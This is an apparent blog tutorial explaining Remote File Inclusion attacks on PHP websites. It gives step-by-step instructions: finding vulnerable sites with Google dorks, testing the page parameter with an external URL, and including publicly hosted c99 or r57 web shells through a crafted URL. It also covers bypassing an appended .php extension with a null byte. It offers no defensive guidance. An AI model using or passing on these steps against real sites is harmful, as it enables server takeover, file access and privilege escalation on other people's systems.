Remote File Inclusion (RFI) occurs when a remote file, usually a shell
(a graphical interface for browsing remote files and running your own code
on a server), is included into a website which allows the hacker to execute
server side commands as the current logged on user, and have access to
files on the server. With this power the hacker can continue on to use local
exploits to escalate his privileges and take over the whole system.
Many servers are vulnerable to this kind of attack because of PHP’s
default settings of register_globals and allow_url_fopen being enabled.
Although as of PHP 6.0, register_globals has been depreciated and
removed, many websites still rely on older versions of PHP to run their web applications. Now let’s go through the steps a hacker would take to exploit
this type of vulnerability in a website..
1. First the hacker would find a website that gets its pages via the
PHP include() function and is vulnerable to RFI. Many hackers us
Google dorks to locate servers vulnerable to RFI. A Google dork i
the act of using Google’s provided search tools to help get a
specific search result.
2. Website that include pages have a navigation system similar to:
http://target-site.com/index.php?page=PageName
3. To see if a the page is vulnerable, the hacker would try to include
a site instead of PageName like the following:
http://target-site.com/index.php?page=http://google.com
4. If the Google homepage shows up on the website, then the
hacker knows the website is vulnerable and would continue to
include a shell.
5. A couple of the most popular shells are c99 and r57. A hacker
would either upload them to a remote server or just use a Google
dork to locate them already online and insert them. To find the a
shell the hacker would search Google for: inurl:c99.txt. This will
display many websites with the shell already up and ready to be
included. At the end of the URL make sure to add a ? so that if
anything comes after c99.txt, it will be passed to the shell and not
cause any problems. The new URL with the shell included would
look like:
http://target-site.com/index.php?page=http://site.com/c99.txt?
6. Sometimes the PHP script on the server appends “.php” to the
end of every included file. So if you included the shell, it would
end up looking like “c99.txt.php” and not work. To get around
this, you would add a null byte () to the end of c99.txt. This
tells the server to ignore everything after c99.txt.
7. In step one, I told you that hackers use Google dorks to look for
sites possibly vulnerable to RFIs. An example of a Google dork would be: allinurl:.php?page=. This looks for URL’s with
.php?page= in them. This is only an example and you most likely
won’t find any vulnerable sites with that search. You can try
switching around the word “page” with other letters and similar
words. Hackers usually search vulnerability databases like
www.milw0rm.com for already discovered RFI vulnerabilities in
site content management systems and search for websites that
are running that vulnerable web application with a Google dork.
8. If the hacker succeeds in getting the server to parse the shell, he
will be presented with a screen similar to the following:
Dont Forgot to leave a comment if you like the post